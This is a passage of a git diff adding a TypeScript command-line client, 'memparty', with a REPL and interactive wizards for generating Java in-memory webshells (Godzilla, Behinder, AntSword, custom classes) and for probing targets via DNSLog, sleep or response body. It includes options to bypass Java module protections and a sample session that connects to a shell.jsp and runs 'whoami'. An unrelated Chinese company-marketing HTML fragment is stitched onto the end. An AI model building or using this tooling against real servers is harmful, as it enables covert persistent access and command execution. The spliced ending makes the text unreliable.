`--help` on any subcommand. Built-ins: help, clear, exit/quit. + * + * Since connect/exec auto-save verified shells, a typical session is: + * connect -u http://host/shell.jsp -t godzilla --header-value XXX + * exec host/godzilla --cmd whoami + */ +import * as readline from "node:readline"; + +import { Command, CommanderError } from "commander"; + +import { ApiError } from "./api/client.js"; +import { reportError } from "./cli-context.js"; +import { CLI_VERSION } from "./version.js"; + +/** Split a REPL line into argv-like tokens, honoring single/double quotes. */ +export function tokenize(line: string): string[] { + const tokens: string[] = []; + let cur = ""; + let quote: string | null = null; + let started = false; + for (const ch of line) { + if (quote !== null) { + if (ch === quote) quote = null; + else cur += ch; + } else if (ch === '"' || ch === "'") { + quote = ch; + started = true; + } else if (/\s/.test(ch)) { + if (started || cur.length > 0) { + tokens.push(cur); + cur = ""; + started = false; + } + } else { + cur += ch; + } + } + if (started || cur.length > 0) tokens.push(cur); + return tokens; +} + +export async function startRepl(build: () => Command): Promise { + process.stdout.write( + `memparty ${CLI_VERSION} — interactive mode. Type 'help' for commands, 'exit' to quit.\n`, + ); + + const rl = readline.createInterface({ + input: process.stdin, + output: process.stdout, + terminal: process.stdin.isTTY === true, + historySize: 200, + }); + + // Queue lines ourselves: with piped (non-TTY) stdin, readline may buffer + // several lines at once and drop any emitted while no question is pending. + const pending: string[] = []; + let waiter: ((line: string | null) => void) | null = null; + let closed = false; + rl.on("line", (line) => { + if (waiter) { + const w = waiter; + waiter = null; + w(line); + } else { + pending.push(line); + } + }); + rl.on("close", () => { + closed = true; + waiter?.(null); + }); + const isTty = process.stdin.isTTY === true; + rl.setPrompt("memparty> "); + const ask = (): Promise => { + if (isTty) rl.prompt(); + const buffered = pending.shift(); + if (buffered !== undefined) return Promise.resolve(buffered); + if (closed) return Promise.resolve(null); + return new Promise((resolve) => { + waiter = resolve; + }); + }; + + for (;;) { + const line = await ask(); + if (line === null) break; // EOF / Ctrl-D + const tokens = tokenize(line); + if (tokens.length === 0) continue; + const [cmd, ...rest] = tokens; + + if (cmd === "exit" || cmd === "quit") break; + if (cmd === "clear") { + process.stdout.write(""); + continue; + } + if (cmd === "help") { + if (rest.length === 0) { + build().outputHelp(); + continue; + } + tokens.push("--help"); // `help connect` == `connect --help` + } + + rl.pause(); // let wizards/prompts own stdin while the command runs + try { + await build().parseAsync(["node", "memparty", ...tokens]); + } catch (err) { + if (err instanceof CommanderError) { + // exitOverride: commander already printed help or the usage error + } else if (err instanceof ApiError) { + reportError(`API error (${err.status || "network"}): ${err.message}`, tokens); + } else if (err instanceof Error) { + if (err.name === "ExitPromptError") process.stderr.write("\nAborted.\n"); + else reportError(err.message, tokens); + } else { + reportError(String(err), tokens); + } + } + process.exitCode = 0; // a failed command must not poison the REPL's exit status + rl.resume(); + } + + rl.close(); +} diff --git a/tools/cli/src/version.ts b/tools/cli/src/version.ts new file mode 100644 index 00000000..b0e5047a --- /dev/null +++ b/tools/cli/src/version.ts @@ -0,0 +1,21 @@ +import { createRequire } from "node:module"; + +const require = createRequire(import.meta.url); + +interface PkgJson { + version: string; +} + +// package.json sits one level above the built dist/ file and above src/ in dev. +let version = "0.0.0"; +try { + version = (require("../package.json") as PkgJson).version; +} catch { + try { + version = (require("./package.json") as PkgJson).version; + } catch { + // fall back to placeholder + } +} + +export const CLI_VERSION = version; diff --git a/tools/cli/src/wizard/memshell-wizard.ts b/tools/cli/src/wizard/memshell-wizard.ts new file mode 100644 index 00000000..f28f0093 --- /dev/null +++ b/tools/cli/src/wizard/memshell-wizard.ts @@ -0,0 +1,127 @@ +import { readFileSync } from "node:fs"; + +import { checkbox, confirm, input, select, Separator } from "@inquirer/prompts"; + +import type { MemPartyClient } from "../api/client.js"; +import { JDK_VERSIONS } from "../core/jdk.js"; +import type { MemShellOptions } from "../core/request-builder.js"; + +const JDK_CHOICES = [ + { name: "server default", value: "" }, + ...Object.entries(JDK_VERSIONS).map(([name, major]) => ({ + name: `${name} (${major})`, + value: name, + })), +]; + +function packerChoices(tree: { name: string; children: string[] }[]) { + const choices: (Separator | { name: string; value: string })[] = []; + for (const parent of tree) { + choices.push(new Separator(`── ${parent.name} ──`)); + choices.push({ name: parent.name, value: parent.name }); + for (const child of parent.children) { + choices.push({ name: ` ${child}`, value: child }); + } + } + return choices; +} + +/** Drive an interactive prompt flow, returning options for buildMemShellRequest. */ +export async function runMemShellWizard(client: MemPartyClient): Promise { + const [config, packerTree] = await Promise.all([client.getConfig(), client.getPackerTree()]); + + const server = await select({ + message: "Target server", + choices: Object.keys(config).map((s) => ({ name: s, value: s })), + }); + + const tools = Object.keys(config[server]); + const shellTool = await select({ + message: "Shell tool", + choices: tools.map((t) => ({ name: t, value: t })), + }); + + const shellType = await select({ + message: "Shell type", + choices: config[server][shellTool].map((t) => ({ name: t, value: t })), + }); + + const packer = await select({ + message: "Packer", + choices: packerChoices(packerTree), + }); + + const opts: MemShellOptions = { server, shellTool, shellType, packer }; + + // Tool-specific configuration. + switch (shellTool) { + case "Godzilla": + opts.godzillaPass = await input({ message: "Godzilla pass", default: "pass" }); + opts.godzillaKey = await input({ message: "Godzilla key", default: "key" }); + break; + case "Behinder": + opts.behinderPass = await input({ message: "Behinder pass", default: "rebeyond" }); + break; + case "AntSword": + opts.antSwordPass = await input({ message: "AntSword pass", default: "ant" }); + break; + case "Command": { + opts.commandParamName = await input({ message: "Command param name", default: "cmd" }); + const cc = await client.getCommandConfigs(); + opts.encryptor = await select({ + message: "Encryptor", + choices: cc.encryptors.map((e) => ({ name: e, value: e })), + }); + opts.implementationClass = await select({ + message: "Implementation class", + choices: cc.implementationClasses.map((e) => ({ name: e, value: e })), + }); + const template = await input({ message: "Command template (optional, {command} placeholder)", default: "" }); + if (template) opts.commandTemplate = template; + break; + } + case "Custom": { + const file = await input({ message: "Path to custom .class file" }); + opts.shellClassBase64 = readFileSync(file).toString("base64"); + break; + } + default: + break; + } + + // Common header config (used by several tools). + opts.headerName = await input({ message: "Header name", default: "User-Agent" }); + const headerValue = await input({ message: "Header value (optional)", default: "" }); + if (headerValue) opts.headerValue = headerValue; + + const shellClassName = await input({ message: "Shell class name (optional, random if empty)", default: "" }); + if (shellClassName) opts.shellClassName = shellClassName; + + opts.urlPattern = await input({ message: "URL pattern", default: "/*" }); + + const jdk = await select({ message: "Target JDK", choices: JDK_CHOICES }); + if (jdk) opts.jdk = jdk; + + const toggles = await checkbox({ + message: "Options", + choices: [ + { name: "shrink bytecode", value: "shrink", checked: true }, + { name: "static initialize", value: "staticInitialize", checked: true }, + { name: "bypass Java module", value: "byPassJavaModule" }, + { name: "lambda suffix", value: "lambdaSuffix" }, + { name: "debug", value: "debug" }, + ], + }); + opts.shrink = toggles.includes("shrink"); + opts.staticInitialize = toggles.includes("staticInitialize"); + opts.byPassJavaModule = toggles.includes("byPassJavaModule"); + opts.lambdaSuffix = toggles.includes("lambdaSuffix"); + opts.debug = toggles.includes("debug"); + + const confirmed = await confirm({ message: `Generate ${shellTool} ${shellType} for ${server} (${packer})?` }); + if (!confirmed) { + throw new Error("Cancelled by user."); + } + + return opts; +} diff --git a/tools/cli/src/wizard/probe-wizard.ts b/tools/cli/src/wizard/probe-wizard.ts new file mode 100644 index 00000000..1327e1ce --- /dev/null +++ b/tools/cli/src/wizard/probe-wizard.ts @@ -0,0 +1,91 @@ +import { checkbox, confirm, input, select } from "@inquirer/prompts"; + +import type { MemPartyClient } from "../api/client.js"; +import { JDK_VERSIONS } from "../core/jdk.js"; +import type { ProbeOptions } from "../core/request-builder.js"; + +const JDK_CHOICES = [ + { name: "server default", value: "" }, + ...Object.entries(JDK_VERSIONS).map(([name, major]) => ({ name: `${name} (${major})`, value: name })), +]; + +const PROBE_METHODS = ["ResponseBody", "DNSLog", "Sleep"]; +const PROBE_CONTENTS = ["BasicInfo", "Server", "OS", "JDK", "Bytecode", "Command"]; + +export async function runProbeWizard(client: MemPartyClient): Promise { + const [config, packerTree] = await Promise.all([client.getConfig(), client.getPackerTree()]); + const servers = Object.keys(config); + + const probeMethod = await select({ + message: "Probe method", + choices: PROBE_METHODS.map((m) => ({ name: m, value: m })), + }); + + const probeContent = await select({ + message: "Probe content", + choices: PROBE_CONTENTS.map((c) => ({ name: c, value: c })), + }); + + const packer = await select({ + message: "Packer", + choices: packerTree.flatMap((p) => [ + { name: p.name, value: p.name }, + ...p.children.map((c) => ({ name: ` ${c}`, value: c })), + ]), + }); + + const opts: ProbeOptions = { probeMethod, probeContent, packer }; + + switch (probeMethod) { + case "DNSLog": + opts.host = await input({ message: "DNSLog host" }); + break; + case "Sleep": + opts.sleepServer = await select({ + message: "Sleep server", + choices: servers.map((s) => ({ name: s, value: s })), + }); + opts.seconds = Number(await input({ message: "Seconds", default: "5" })); + break; + case "ResponseBody": + opts.server = await select({ + message: "Server", + choices: servers.map((s) => ({ name: s, value: s })), + }); + opts.reqParamName = await input({ message: "Request param name", default: "cmd" }); + opts.commandTemplate = await input({ + message: "Command template (optional, {command} placeholder)", + default: "", + }); + break; + default: + break; + } + + const shellClassName = await input({ message: "Shell class name (optional)", default: "" }); + if (shellClassName) opts.shellClassName = shellClassName; + + const jdk = await select({ message: "Target JDK", choices: JDK_CHOICES }); + if (jdk) opts.jdk = jdk; + + const toggles = await checkbox({ + message: "Options", + choices: [ + { name: "shrink bytecode", value: "shrink", checked: true }, + { name: "static initialize", value: "staticInitialize", checked: true }, + { name: "bypass Java module", value: "byPassJavaModule" }, + { name: "lambda suffix", value: "lambdaSuffix" }, + { name: "debug", value: "debug" }, + ], + }); + opts.shrink = toggles.includes("shrink"); + opts.staticInitialize = toggles.includes("staticInitialize"); + opts.byPassJavaModule = toggles.includes("byPassJavaModule"); + opts.lambdaSuffix = toggles.includes("lambdaSuffix"); + opts.debug = toggles.includes("debug"); + + const confirmed = await confirm({ message: `Generate ${probeMethod} probe (${packer})?` }); + if (!confirmed) throw new Error("Cancelled by user."); + + return opts; +} diff --git a/tools/cli/tsconfig.json b/tools/cli/tsconfig.json new file mode 100644 index 00000000..6b3b9cdb --- /dev/null +++ b/tools/cli/tsconfig.json @@ -0,0 +1,21 @@ +{ + "compilerOptions": { + "target": "ES2022", + "module": "ESNext", + "moduleResolution": "Bundler", + "lib": ["ES2022"], + "types": ["node"], + "strict": true, + "noUnusedLocals": true, + "noUnusedParameters": true, + "noImplicitOverride": true, + "esModuleInterop": true, + "resolveJsonModule": true, + "skipLibCheck": true, + "declaration": true, + "outDir": "dist", + "rootDir": "." + }, + "include": ["src", "tsup.config.ts", "vitest.config.ts"], + "exclude": ["dist", "node_modules"] +} diff --git a/tools/cli/tsup.config.ts b/tools/cli/tsup.config.ts new file mode 100644 index 00000000..9a4a12a0 --- /dev/null +++ b/tools/cli/tsup.config.ts @@ -0,0 +1,18 @@ +import { defineConfig } from "tsup"; + +export default defineConfig({ + entry: { + cli: "src/cli.ts", + index: "src/index.ts", + }, + format: ["esm"], + target: "node18", + platform: "node", + clean: true, + dts: true, + sourcemap: true, + splitting: false, + banner: { + js: "#!/usr/bin/env node", + }, +}); diff --git a/tools/cli/vitest.config.ts b/tools/cli/vitest.config.ts new file mode 100644 index 00000000..c1433e6e --- /dev/null +++ b/tools/cli/vitest.config.ts @@ -0,0 +1,8 @@ +import { defineConfig } from "vitest/config"; + +export default defineConfig({ + test: { + environment: "node", + include: ["src/**/*.test.ts"], + }, +});
+

让企业数据流动起来

+

云枢科技为中型企业提供数据集成、报表可视化与流程自动化服务。

+
+